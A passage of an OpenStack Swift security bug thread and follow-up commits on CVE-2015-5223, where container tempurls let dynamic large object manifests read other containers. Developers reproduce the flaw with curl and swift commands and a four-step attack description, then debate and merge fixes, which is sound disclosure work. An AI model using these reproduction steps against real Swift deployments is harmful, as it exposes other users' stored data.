 swift post -m "temp-url-key: secret" compromised-container

 tempurl=`swift-temp-url PUT 60 /v1/AUTH_test/compromised-container/foo.txt secret`
 curl -i -X PUT http://127.0.0.1:8080${tempurl} -H 'X-Object-Manifest: victim-container/f' -H 'Content-Length: 0'

 tempurl=`swift-temp-url GET 60 /v1/AUTH_test/compromised-container/foo.txt secret`
 curl -i http://127.0.0.1:8080${tempurl}

Or did I get it wrong?

[Matthew Oliver (matt-0)]

Thanks for that Christian (rebase),

Hmm it looks like what your doing is right. The patch should be setting the swift.authorize to fail if accessing the other container, unless something else if overwriting swift.authorize later in the pipeline.

I'll have a play and see if it fails for me.

[Alistair Coles (alistair-coles)]

Did you include the patch from here https://bugs.launchpad.net/swift/+bug/1453948 #15?

I took Christian's patch at #60, manually merged https://bugs.launchpad.net/swift/+bug/1453948 #15 patch (would not apply) and then the scenario at #61 fails because

  curl -i -X PUT http://127.0.0.1:8080${tempurl} -H 'X-Object-Manifest: victim-container/f' -H 'Content-Length: 0'

is disallowed with 400

My combined diff wrt master is attached FYI

[Matthew Oliver (matt-0)]

I'm getting the same result as you Christian, interestingly the swift.authorze method isn't being overriden so that's good.. but the result is None, so the container check isn't returning a 401 like we suspect.

Here's some sanitised q() output:

  handle_request: id(req.environ['swift.authorize'])=140192181680680
  handle_request: id(req.environ['swift.authorize'])=140192234245248
  handle_request: id(req.environ['swift.authorize'])=140192234245248
  __call__: id(env['swift.authorize'])=140192234245248
  handle_request: id(req.environ['swift.authorize'])=140192234245248

  __call__: id(env['swift.authorize'])=140415816079552
  handle_request: id(req.environ['swift.authorize'])=140415816079552
  handle_request: resp=None

NOTE: The function ID stays the same, and the response to the swift.authorize is None

I'm going to look into it further.

[Matthew Oliver (matt-0)]

OK so it seems the swift.authorize method is only being called once, when a subrequest is issued there is no swift.authorize. In fact during debugging directly before https://github.com/openstack/swift/blob/master/swift/common/middleware/dlo.py#L236 swift.authorize exists in the req object, directly afterwards it doesn't.

If I do something like:

  swift_authorize = req.environ.get('swift.authorize')
  resp_iter = self._app_call(req.environ)
  req.environ['swift.authorize'] = swift_authorize

Then it's fixed.. that's as far as I've got, but its midnight here and I need to get up for the meeting early in the morning, so someone can take off from where I left it. By either seeing why its removed from 'self._app_call()', butting my hack in, or placing it somewhere better.

Night.

[Christian Schwede (cschwede)]

@Alistair: yes, with that patch applied my test above doesn't work anymore, because putting a DLO with tempurl fails with "The header 'X-Object-Manifest' is not allowed in this tempurl".

However, any existing DLO is still able to read the data. As a user with write permission and knowledge of the container tempurl key I could simply create a new DLO, still reading data in other containers I don't have access to.

Proof of concept attached, succeeding on a clean SAIO environment with both patches applied.

[Alistair Coles (alistair-coles)]

@Matt the proxy app removes swift.authorize from env line 398 swift/proxy/server.py:

- for a manifest get from a container tempurl, the first call to swift.authorize is for the manifest which *is* in the nontainer scope, so authorize_same_container returns None and the proxy removes swift.authorize from env. The subsequent requests to the other container (the segments container) are then not auth'd :(

There is a big in the functional test for this scenario (I think, its late and this is complicated for my small brain!), I will attach a patch which leaves the test test.functional.tests.TestContainerTempurl#test_GET_DLO_outside_container failing due to above I think.

Patch is against master and based on Christian's rebase onto master in #60 with a change to the func test to reveal a failure case.

[Alistair Coles (alistair-coles)]

First, in comment #67, s/big/bug/ !

Couple of other comments:

1. TestContainerTempurl shouldl remove any account level tempurl keys that have been left in place by other tests, to avoid any coupling of the tempurl scopes being tested.

2. I have a nagging concern about auth_callback_same_container returning None when the path fails to split as expected, havent pinned down a case when that would be bad yet though.

def authorize_same_container(account_to_match, container_to_match):

    def auth_callback_same_container(req):
        try:
            _ver, acc, con, _rest = req.split_path(3, 4, True)
        except ValueError:
            return None
^^^^^^^^^^^^^^^^^^ is it relly safe to auth a request when split.path fails??

        if acc == account_to_match and con == container_to_match:
            return None
        else:
            return HTTPUnauthorized(request=req)

    return auth_callback_same_container

[Samuel Merritt (torgomatic)]

I think the patch in comment #56 is broken. Here's how I tested this stuff:

Test Step 1: saio$ resetswift; startmain

Test Step 2: client$ swift upload victim setup.py setup.cfg AUTHORS # from Swift source tree; any old crap will do

Test Step 3: client$ swift post hacked -m "temp-url-key:conkey"

Test Step 4: curl "http://192.168.22.144:8080`swift tempurl GET 86400 /v1/AUTH_test/hacked/evil-manifest conkey`" # should 4xx

Test Step 5: client$ swift post -m "temp-url-key:acckey"

Test Step 6: curl "http://192.168.22.144:8080`swift tempurl GET 86400 /v1/AUTH_test/hacked/evil-manifest acckey`" # should 200

Base commit: 5b24b22

With no patch, Test Step 4 received a 200 response with a body that was the concatenation of setup.cfg and setup.py.

With the patch from comment #56 applied, Test Step 4 received a 200 response with a body that was the concatenation of setup.cfg and setup.py. I was expecting a 400-series error.

Upon inspection, the patch from comment #56 was missing the code to copy the environment before removing swift.authorize (swift.proxy.server.Application.handle_request). If I add those two lines back in, then Test Step 4 gets a 401, as expected.

The attached patch here is Clay's patch from comment #56, plus the aforementioned two lines of code. I still get unit test failures with this, though.

[clayg (clay-gerrard)]

Hrm... maybe having two bugs open wasn't such a great idea. Also maybe this is why smaller changes are better?

So what we *need* is to be able to take some Kilo+ sha, and Al's latest patch from lp bug #1453948 + some patch here that closes all of our issues (#1 PUT tempurl can not create a DLO; #2 cross container DLO 401's with container tempurl).

I found

+ req = Request(req.environ.copy())

in patch number #56 - but it seems like everyone else is building on the hack in #57 that doesn't do sam's info_cache thing (i.e. #60, #67 and #69) and instead just calls that _set_info method again - but was mysteriously missing the environ.copy() line in my original version (i blame a git fail on my part)?

So, if everyone is cool with that general idea of patch #57 - i'll try to wade through the follow on patches and post here with what we need.

[Samuel Merritt (torgomatic)]

I like the infocache thing. Really, the part I like about it is the part where the proxy doesn't mutate the passed-in environment, but takes a copy and mangles *that* instead.

Any time we have a middleware that makes more than one request (DLO, SLO, bulk, versions, symlinks...), we end up with these crappy bugs where the middleware makes a request using some environment, the proxy or a later middleware scribbles all over it, and then our middleware reuses that environment and things blow up. That's what happened here, right?

A) tempurl put swift.authorize in the environment and called the rest of the chain

B) the proxy called swift.authorize and then mutated the environment to remove it, which is okay because nobody else is ever going to re-use this environment for anything ever again /s

C) dlo saw the response was for a manifest and so it made a new environment based on the current environment to go fetch segments

D) the proxy got another request without swift.authorize in it (since the proxy wiped it out in step B) and let the request proceed

E) lots of people spent time typing up 70+ comments on this Launchpad bug

We can either work around this bit of request mutation to fix this specific bug and leave a land mine for ourselves to step on next time, or we can get rid of it now. I'd rather get rid of it now.

Moving all that cache into swift.infocache also makes it easier to eliminate future request-environment mutations as we find them. It lets you make a shallow copy of the environment to mutate, thus saving your caller from you, while still ensuring we don't get the same info from memcache or account/container servers twice. It's taking all that hazardous mutable stuff and sticking it in its own little box, separate from the rest of our unchanging request state.

[Samuel Merritt (torgomatic)]

This is a rebase of the patch from comment #42. I believe it still solves the problem of DLO GET or HEAD requests being able to escape their container, and I believe it still does not address the creation of DLO manifests via tempurl PUT (that's a separate LP bug, though if people want to merge them, fine by me).

[clayg (clay-gerrard)]

-1

So there was a number of improvements to the tests from patch #42 to #56 - which seems lost in #72. Plus #72 is *not* based on the already approved and back-ported patch in lp bug #1453948.

I discussed this with Sam and he seems sufficiently agitated that he's just going to fix everything.

[Alistair Coles (alistair-coles)]

I had a stab at an alternative approach to avoid making any changes to the info caching (not saying they aren't good changes to make, but this avoids making them in this security bug fix). I'm not against the info cache/env copying stuff, I was just trying to find a way to a smaller diff to fix the current bug!

In the attached patch I have tempurl instruct the proxy server to NOT delete 'swift.authorize'. Then have the same scoped callbacks as proposed on previous patches on this thread. That removes the need to copy the request env before popping swift.authorize, cos it never gets popped with tempurl.

The attached patch is based on Clay's patch at #15 on https://bugs.launchpad.net/swift/+bug/1453948, so apply that one first, then this one and you should have both bugs fixed.

(Another approach which works is to have the tempurl authorize callbacks return not-None on first call (from proxy) then behave normally for subsequent calls. That works because tempurl only targets objects and all object controller methods implement delay_denial. But I ditched that approach as it depends on the delay_denial properties not changing below tempurl.)

[Samuel Merritt (torgomatic)]

Here's Clay's patch from #57 but with the unit tests passing.

There were a few things I had to do to make that work: first, make_pre_authed_env() had to start setting swift_owner = True in the environment it created. Otherwise, the container controller would unhelpfully filter out the ACLs from a GET or HEAD response, and in the case where the environment's identity was not preserved, get_container_info() wouldn't have the ACLs in it.

Second, I had to hack around account GET and HEAD requests when (a) account autocreate is on, and (b) the account does not actually exist. In this case, the proxy caches a 404 result down in GETorHEAD_base. However, it then returns a 200 or 204 with an empty listing. Thus, if environment identity is not preserved, get_info() sees a 2xx response and caches it, which breaks a bunch of tests. I hacked around it with some made-up header; better suggestions welcome.

Third and ugliest, I commented out one unit test (last line of test.unit.proxy.server.TestContainerController.test_HEAD_GET). That test was asserting stuff about the environment caching behavior when the account doesn't exist and account autocreate is on. I wasn't sure how to keep that working *and* keep the other account-autocreate tests working too, and it really doesn't seem too important what we cache in this particular case. Again, suggestions welcome.

[Christian Schwede (cschwede)]

Both patches (Sams & Alistairs, #75 and #74) work for me and the outcome is as expected.

I currently tend to favor Sams patch slightly, but basically I'm fine with both - thus 2 times +2.

[Samuel Merritt (torgomatic)]

Alright, here's another take on it. The problem is the proxy takes swift.authorize out of the environment. We had a patch to make the environment immutable, but that was a huge change. Then we had one where middlewares could tell the proxy to leave authorize alone, but that's pretty hacky. This one is even simpler: the proxy puts swift.authorize back. Stuff in the proxy that relies on swift.authorize being gone still see it as gone, but middlewares don't have their environment changed up when they make subrequests.

[Samuel Merritt (torgomatic)]

Let's try actually adding the patch, hey?

[Samuel Merritt (torgomatic)]

Let's try actually adding the patch, hey?

[Samuel Merritt (torgomatic)]

And here we have the legendary DOUBLE DOUBLE POST POST! Thank you, Launchpad, for the opportunity to see this beast in the wild.

[Samuel Merritt (torgomatic)]

Here's a properly-formatted one. It's the same as the one in #79 but with a real commit comment.

I stuck everybody who posted any patch here in the Co-Authored-By lines. With this crapass non-threaded discussion forum, I can't keep track of what happened where. (Come on; *email* has threading and Launchpad doesn't? Talk about stone knives and bearskins.)

[Samuel Merritt (torgomatic)]

This is patch #81 with extraneous stuff removed and Alistair's fixes to the functional tests.

[Alistair Coles (alistair-coles)]

Sam's patch at #82 LGTM

Sam, Clay and 1 did discuss two possible changes:
1. in proxy.server.py the "authorized" boolean is redundant, could just test the value of "old_authorize".
2. in tempurl.py, have the new scoped authorize callback methods raise HTTPUnauthorized if the split_path calls ever raise a ValueError (at the moment None is returned which means a request would be auth'd. I can't think of when a request would have no object part and it would matter, but paranoia suggests err'ing on the side of denial if split_path fails).

I made those two changes in attached patch which applies to master using git am. On my SAIO this passes unit, pep8, functional and probe tests.

[clayg (clay-gerrard)]

@acoles patch doesn't apply cleanly with `git am` because it was formatted with `git show`

So I started with a fresh merge from master yesterday:

    git checkout master

    0279411 Merge "versioned writes middleware"

Then I popped off to another branch to add the commits

    git checkout -b fix-container-tempurl

Then I applied the fix from lp bug #1453948 comment #15

    git am < dlo-tempurl.patch

Then I applied the fix in comment #82 (seems to require 3-way)

    git am -3 < container-tempurl.patch

Those changes taken together works well for me. I understand our new functional tests we should be validating the behaviors we're tracking. I also agree with @acoles suggested cleanups in comment #83 - but we'll need to reformat that patch.

[Alistair Coles (alistair-coles)]

Apologies, patch at #83 does not work with git am. See the diff attached here generated using git format-patch.

[Alistair Coles (alistair-coles)]

Clays #84 method to apply both patches WFM using patch at #85- thanks Clay for figuring that out:

anc@u128:~/0dev/swift (master)$ git log --pretty=oneline -n 1
810af1b73f309bd055b52fb63795cc5372eee3c7 Merge "Fix shebang of commands"
anc@u128:~/0dev/swift (master)$ git checkout -b fix-container-tempurl
Switched to a new branch 'fix-container-tempurl'
anc@u128:~/0dev/swift (fix-container-tempurl)$ git am ../patches/tempurl.patch
Applying: Disallow unsafe tempurl operations to point to unauthorized data
anc@u128:~/0dev/swift (fix-container-tempurl)$ git am -3 ../patches/tempurl-acoles-patch9.diff
Applying: Better scoping for tempurls, especially container tempurls
Using index info to reconstruct a base tree...
M swift/common/middleware/tempurl.py
M test/functional/tests.py
M test/unit/common/middleware/test_tempurl.py
Falling back to patching base and 3-way merge...
Auto-merging test/unit/common/middleware/test_tempurl.py
Auto-merging test/functional/tests.py
Auto-merging swift/common/middleware/tempurl.py
anc@u128:~/0dev/swift (fix-container-tempurl)$ git log --pretty=oneline -n 3
6bdd31aab0098b3ecf756667110fc7439fca8f7f Better scoping for tempurls, especially container tempurls
06bc45e8e76b1384500d67d7953d19fcedcc1967 Disallow unsafe tempurl operations to point to unauthorized data
810af1b73f309bd055b52fb63795cc5372eee3c7 Merge "Fix shebang of commands"

The result passes tox -e py27,pep8 and functional tests on my saio (with keystoneauth).

I'm +2 on patch at #85.

[clayg (clay-gerrard)]

I'm +2 on patch @ #85

However, I'll admit that the commit messages makes things seem a little more dire than they would be after the tempurl-can-not-create-dlo fix from lp bug #1453948 is released. But since neither for them are released I think the wording is correct for this patch.

... now, before you go thinking "maybe we don't need scoped tempurls if you can't make *LO's with tempurls?" - you *can* make *LO's with write-acl's - so it's a more complicated attack, but if we only did the other change, a write-acl and container-tempurl would be just as vulnerable to the DLO probing as described in the commit. Regardless of how the "object that points to other data" is created - scoping the ability of a container tempurl to grant read access only to the container that created them is critically important to meet our expected risk model.

After this is public we need to do doc change to highlight that container-tempurl's (unlike account-tempurls) don't work with cross-container manifests (again, regardless of how the cross-container manifests were created)

[Tristan Cacqueray (tristan-cacqueray)]

Backports of patch #85 are needed for stable/kilo and stable/juno (using patches from bug 1453948, respectively from comment #17 and #16)

[John Dickinson (notmyname)]

This is not needed for stable/juno. The feature (container-level tempurls) was only released in kilo.

[John Dickinson (notmyname)]

Attached is a backport of the patch in #85 to kilo. It includes the approved patch for https://bugs.launchpad.net/swift/+bug/1453948 in the patch file (since it should be applied on top of that one).

[Alistair Coles (alistair-coles)]

+2 for backport at #90

applied to stale/kilo, passes func tests with keystone and tempauth, tox -e pep8,py27 and probe tests

[Tristan Cacqueray (tristan-cacqueray)]

Can you also attach a version of the patch in #85 with the patch for bug 1453948 (the one in comment #15) ?

Regardless of the order, they don't apply cleanly.

[clayg (clay-gerrard)]

Ain't nobody trust that crazy -3 business!

    (swift)clayg:~/Workspace/vagrant-swift-all-in-one/swift$ git log -n 1 --oneline
    ef8f14f Merge "Add OpenStack release names to changelog"
    (swift)clayg:~/Workspace/vagrant-swift-all-in-one/swift$ git am < master-tempurl-combined.patch
    Applying: Disallow unsafe tempurl operations to point to unauthorized data
    Applying: Better scoping for tempurls, especially container tempurls

[Tristan Cacqueray (tristan-cacqueray)]

Thanks clayg,

the proposed disclosure date is:
2015-08-26, 1500UTC

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.openstack.org/217260
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=d4409c0a046c6ce0e14e18c95efe2cd16cf120e8
Submitter: Jenkins
Branch: master

commit d4409c0a046c6ce0e14e18c95efe2cd16cf120e8
Author: Samuel Merritt <email address hidden>
Date: Tue Aug 11 09:10:13 2015 -0500

    Better scoping for tempurls, especially container tempurls

    It used to be that a GET of a tempurl referencing a large object would
    let you download that large object regardless of where its segments
    lived. However, this led to some violated user expectations around
    container tempurls.

    (Note on shorthand: all tempurls reference objects. However, "account
    tempurl" and "container tempurl" are shorthand meaning tempurls
    generated using a key on the account or container, respectively.)

    Let's say an application is given tempurl keys to a particular
    container, and it does all its work therein using those keys. The user
    expects that, if the application is compromised, then the attacker
    only gains access to the "compromised-container". However, with the old
    behavior, the attacker could read data from *any* container like so:

    1) Choose a "victim-container" to download

    2) Create PUT and GET tempurl for any object name within the
       "compromised-container". The object doesn't need to exist;
       we'll create it.

    3) Using the PUT tempurl, upload a DLO manifest with
       "X-Object-Manifest: /victim-container/"

    4) Using the GET tempurl, download the object created in step 3. The
       result will be the concatenation of all objects in the
       "victim-container".

    Step 3 need not be for all objects in the "victim-container"; for
    example, a value "X-Object-Manifest: /victim-container/abc" would only
    be the concatenation of all objects whose names begin with "abc". By
    probing for object names in this way, individual objects may be found
    and extracted.

    A similar bug would exist for manifests referencing other accounts
    except that neither the X-Object-Manifest (DLO) nor the JSON manifest
    document (SLO) have a way of specifying a different account.

    This change makes it so that a container tempurl only grants access to
    objects within its container, *including* large-object segments. This
    breaks backward compatibility for container tempurls that may have
    pointed to cross container *LO's, but (a) there are security
    implications, and (b) container tempurls are a relatively new feature.

    This works by having the tempurl middleware install an authorization
    callback ('swift.authorize' in the WSGI environment) that limits the
    scope of any requests to the account or container from which the key
    came.

    This requires swift.authorize to persist for both the manifest request
    and all segment requests; this is done by having the proxy server
    restore it to the WSGI environment prior to returning from __call__.

    [CVE-2015-5223]

    Co-Authored-By: Clay Gerrard <email address hidden>
    Co-Authored-By: Alistair Coles <alistair.coles@h...

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: feature/crypto
Review: https://review.openstack.org/219775

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.openstack.org/219775
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=257e468e9bfd1088040419ad408106ac3c77b531
Submitter: Jenkins
Branch: feature/crypto

commit e02609c66a804845672413b06830b87395afef31
Author: Samuel Merritt <email address hidden>
Date: Tue Sep 1 15:19:50 2015 -0700

    Preserve traceback in swift-dispersion-report

    Commit c690bcb fixed a bug in the dispersion report, but changed this
    from a bare "raise" to "raise err", which loses the traceback. Not a
    big deal, but worth putting back IMO.

    Change-Id: Id5b72153a4b8df8e3faaf1fa3fb2040e28ba85cc

commit d06d4ad0fd2dfe69da8008e729651264522c6c06
Author: Minwoo Bae <email address hidden>
Date: Tue Sep 1 15:08:44 2015 -0500

    Included reference in swift.obj.diskfile to enumerate the string
    used for data file paths.

    Change-Id: Ie22caa678bc00dfc43fabec7efbbb9f34490f1b5

commit 524c89b7eeff037b8a6b421888771e15f98c2da2
Author: John Dickinson <email address hidden>
Date: Fri Aug 21 13:39:41 2015 -0700

    Updated CHANGELOG, AUTHORS, and .mailmap for 2.4.0 release.

    Change-Id: Ic6301146b839c9921bb85c4f4c1e585c9ab66661

commit 05de1305a903ee4ce9c8c50fde53c552d5b90d51
Author: Clay Gerrard <email address hidden>
Date: Thu Aug 27 18:35:09 2015 -0700

    Make ssync_sender send valid chunked requests

    The connect method of ssync_sender tells the remote connection that it's
    going to send a valid HTTP chunked request, but if the remote end needs
    to respond with an error of any kind sender throws HTTP right out the
    window, picks up his ball, and closes the socket down hard - much to the
    surprise of the eventlet.wsgi server who up to this point had been
    playing along quite nicely with this 'SSYNC' nonsense assuming that
    everyone here is consenting mature adults.

    If you're going to make a "Transfer-Encoding: chunked" request have the
    good decency to finish the job with a proper '0\r\n\r\n'. [1]

    N.B. It might be possible to handle an error status during the
    initialize_request phase with some sort of 100-continue support, but
    honestly it's not entirely clear to me when the server isn't going to
    close the connection if the client is still expected to send the body
    [2] - further if the error comes later during missing_check or updates
    we'll for sure want to send the chunk transfer termination line before
    we close down the socket and this way we cover both.

    1. Really, eventlet.wsgi shouldn't be so blasted brittle about this [3]
    2. https://lists.w3.org/Archives/Public/ietf-http-wg/2005AprJun/0007.html
    3. https://github.com/eventlet/eventlet/commit/c3ce3eef0b4d0dfdbfb1ec0186d4bb204fb8ecd5

    Closes-Bug #1489587
    Change-Id: Ic17c6c3075553f8cf6ef6213e62a00282f0d01cf

commit 993ee4e37af1961adba2047d5aa2eb210e423eb3
Author: nakagawamsa <email address hidden>
Date: Fri Aug 28 11:49:43 2015 +0900

    Remove duplicate X-Backend-Storage-Policy-Index key

    There is duplicate 'X-Backend-Storage-Policy-Index' dictionary key in unit.obj.test_server.py.
    One key has fixed policy index value, and another ha...

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.openstack.org/217255
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=f81435d340140a0b54ac555870423894ee9b2131
Submitter: Jenkins
Branch: stable/kilo

commit f81435d340140a0b54ac555870423894ee9b2131
Author: Samuel Merritt <email address hidden>
Date: Tue Aug 11 09:10:13 2015 -0500

    Better scoping for tempurls, especially container tempurls

    It used to be that a GET of a tempurl referencing a large object would
    let you download that large object regardless of where its segments
    lived. However, this led to some violated user expectations around
    container tempurls.

    (Note on shorthand: all tempurls reference objects. However, "account
    tempurl" and "container tempurl" are shorthand meaning tempurls
    generated using a key on the account or container, respectively.)

    Let's say an application is given tempurl keys to a particular
    container, and it does all its work therein using those keys. The user
    expects that, if the application is compromised, then the attacker
    only gains access to the "compromised-container". However, with the old
    behavior, the attacker could read data from *any* container like so:

    1) Choose a "victim-container" to download

    2) Create PUT and GET tempurl for any object name within the
       "compromised-container". The object doesn't need to exist;
       we'll create it.

    3) Using the PUT tempurl, upload a DLO manifest with
       "X-Object-Manifest: /victim-container/"

    4) Using the GET tempurl, download the object created in step 3. The
       result will be the concatenation of all objects in the
       "victim-container".

    Step 3 need not be for all objects in the "victim-container"; for
    example, a value "X-Object-Manifest: /victim-container/abc" would only
    be the concatenation of all objects whose names begin with "abc". By
    probing for object names in this way, individual objects may be found
    and extracted.

    A similar bug would exist for manifests referencing other accounts
    except that neither the X-Object-Manifest (DLO) nor the JSON manifest
    document (SLO) have a way of specifying a different account.

    This change makes it so that a container tempurl only grants access to
    objects within its container, *including* large-object segments. This
    breaks backward compatibility for container tempurls that may have
    pointed to cross container *LO's, but (a) there are security
    implications, and (b) container tempurls are a relatively new feature.

    This works by having the tempurl middleware install an authorization
    callback ('swift.authorize' in the WSGI environment) that limits the
    scope of any requests to the account or container from which the key
    came.

    This requires swift.authorize to persist for both the manifest request
    and all segment requests; this is done by having the proxy server
    restore it to the WSGI environment prior to returning from __call__.

    [CVE-2015-5223]

    Co-Authored-By: Clay Gerrard <email address hidden>
    Co-Authored-By: Alistair Coles <alistair.co...

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: feature/hummingbird
Review: https://review.openstack.org/221410

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.openstack.org/221410
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=eb8f1f83f1cfc63d8452bc30096fd1c145781527
Submitter: Jenkins
Branch: feature/hummingbird

commit cb683d391cb66d0f52830de16760c80fd2afedf9
Author: OpenStack Proposal Bot <email address hidden>
Date: Sat Sep 5 06:17:51 2015 +0000

    Imported Translations from Transifex

    For more information about this automatic import see:
    https://wiki.openstack.org/wiki/Translations/Infrastructure

    Change-Id: I2d92b8e34a665fb0bb4c048cfb0c59de295dfce6

commit e4542455c8a07b7981c247df8b737816062c1655
Author: Emett Speer <email address hidden>
Date: Wed Sep 2 17:18:03 2015 -0700

    [Labs] Update links to Cloud Admin Guide

    Update links to the Cloud Admin Guide after the
    RST conversion of that book altered URLs.

    Change-Id: I899f8938498b744e62887968a65e58c00ef27f1b

commit 58fcc07523978306cd3889ada73af5d9e664cf59
Author: Christian Schwede <email address hidden>
Date: Wed Sep 2 10:52:34 2015 +0000

    Test if container_sweep is executed on unmounted devices

    This change ensures that container_sweep is not run if a device is not mounted
    and mount_check is set to True.

    Change-Id: I823083c8431d9e61fd426508033ec9188503957b

commit e02609c66a804845672413b06830b87395afef31
Author: Samuel Merritt <email address hidden>
Date: Tue Sep 1 15:19:50 2015 -0700

    Preserve traceback in swift-dispersion-report

    Commit c690bcb fixed a bug in the dispersion report, but changed this
    from a bare "raise" to "raise err", which loses the traceback. Not a
    big deal, but worth putting back IMO.

    Change-Id: Id5b72153a4b8df8e3faaf1fa3fb2040e28ba85cc

commit d06d4ad0fd2dfe69da8008e729651264522c6c06
Author: Minwoo Bae <email address hidden>
Date: Tue Sep 1 15:08:44 2015 -0500

    Included reference in swift.obj.diskfile to enumerate the string
    used for data file paths.

    Change-Id: Ie22caa678bc00dfc43fabec7efbbb9f34490f1b5

commit 615c7a204b9386e05c5bab658bfe96766ad1e680
Author: Brian Cline <email address hidden>
Date: Tue Sep 1 10:51:20 2015 -0500

    Adds useful dispersion info from changelog

    Change-Id: I1a45088fc32620b02ff9a754b02ec1eb75a59d6e

commit 3b8755098a1786c5447abf158bd686293a82977c
Author: janonymous <email address hidden>
Date: Sun Aug 2 21:29:13 2015 +0530

    Replace a / b with a // b to use integer division where needed

    Change-Id: I72c81faa62786e140b0de00e3a04934bf1b5adbd

commit 524c89b7eeff037b8a6b421888771e15f98c2da2
Author: John Dickinson <email address hidden>
Date: Fri Aug 21 13:39:41 2015 -0700

    Updated CHANGELOG, AUTHORS, and .mailmap for 2.4.0 release.

    Change-Id: Ic6301146b839c9921bb85c4f4c1e585c9ab66661

commit 05de1305a903ee4ce9c8c50fde53c552d5b90d51
Author: Clay Gerrard <email address hidden>
Date: Thu Aug 27 18:35:09 2015 -0700

    Make ssync_sender send valid chunked requests

    The connect method of ssync_sender tells the remote connection that it's
    going to send a valid HTTP chunked request, but if the remote end needs
    to respond with an error of any kind sender th...